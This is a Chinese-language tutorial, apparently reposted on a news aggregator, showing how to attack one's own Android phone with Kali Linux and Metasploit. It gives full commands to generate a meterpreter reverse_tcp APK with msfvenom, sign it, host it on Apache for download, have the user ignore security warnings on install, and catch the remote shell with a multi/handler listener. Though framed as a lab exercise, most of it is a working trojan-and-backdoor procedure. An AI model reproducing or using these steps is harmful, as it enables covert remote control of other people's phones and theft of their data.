Kali 2021:用Metasploit实验入侵自己的安卓手机 |
您所在的位置：网站首页 › 如何将安卓版本变低 › Kali 2021:用Metasploit实验入侵自己的安卓手机 |
Kali 2021:用Metasploit实验入侵自己的安卓手机
|
要求：电脑主机与手机在同一网段，连接在同一wifi下 方法：在kali的网络适配器下选择桥接模式,选择后输入dhclient重新分发IP，此后就会在同一网段 对于我：kali2021 IP:192.168.1.10 手机IP:192.168.1.7 开始 一.生成apk应用 1，使用msfvenom生成一个预设定向连接kali主机的apk安卓应用。 lhost=192.168.1.10 （这是Kali的IP）lport=4444 （默认4444，可以自定义），chmod使其权限够大 1 | msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.10 lport=4444 R > 1.apk 此时已经看到应用。之后我们需要用到的软件有三个，zipalign, keytool , apksigner，对t.apk文件进行优化对齐然后签名 2.使用zipalign对apk进行对齐 1 | apt-get install zipalignkali默认有keytool，我们自行安装zipalign.
如果出现该报错，只需将你的路径返回至 .apk应用路径。
3，生成密钥对 生成密钥对： keytool -genkey -v -keystore cg.keystore -alias cg -keyalg RSA -keysize 2048 -validity 10000 解释： keytool -genkeypair -keystore 密钥库名 -alias 密钥别名 -validity 天数 -keyalg RSA
4.对apk签名 签名： apksigner sign --ks cg.keystore --ks-key-alias cg 11.apk 解释： apksigner sign --ks 密钥库名 --ks-key-alias 密钥别名 tz.apk apt-get install apksigner
5,对apk进行签名验证 apksigner verify -v --print-certs 11.apk
到这里我们已经完成了安卓手机的应用制作（木木）只要把它传到手机里安装就行。忽略所有的安全提示直接安装。 二.手机下载apk 注意：可以先不用下载，在进行完第三步时在下载 方法一：在kali下找到文件发送至好友进行下载即可 方法二： cp 11.apk /var/www/html vi /var/www/html/index.html
找到此处，按i进入插入模式添加这一行，然后esc输入:wq保存并退出 这时候手机输入你kali的ip就能访问下载这个apk文件了。
可能出现的问题： 1.访问本机ip失败，显示服务器连接不成功 解决：在kali中开启网络服务： systemctl restart networking 开启apache服务： service apache2 start 若在开启网络服务时报错，建议看下面该作者链接，讲述很全面 https://www.yht7.com/news/152889 三，启动动msfconsole，设置payload监听 msfconsolemsf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcppayload => android/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > show optionsModule options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- -----------Payload options (android/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen portExploit target: Id Name -- ---- 0 Wildcard Targetmsf6 exploit(multi/handler) > set LHOST 192.168.1.10LHOST => 192.168.1.10msf6 exploit(multi/handler) > exploit到这里，手机那边安装好11.apk之后并打开，这边kali就自动连接上了。
|
【本文地址】
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |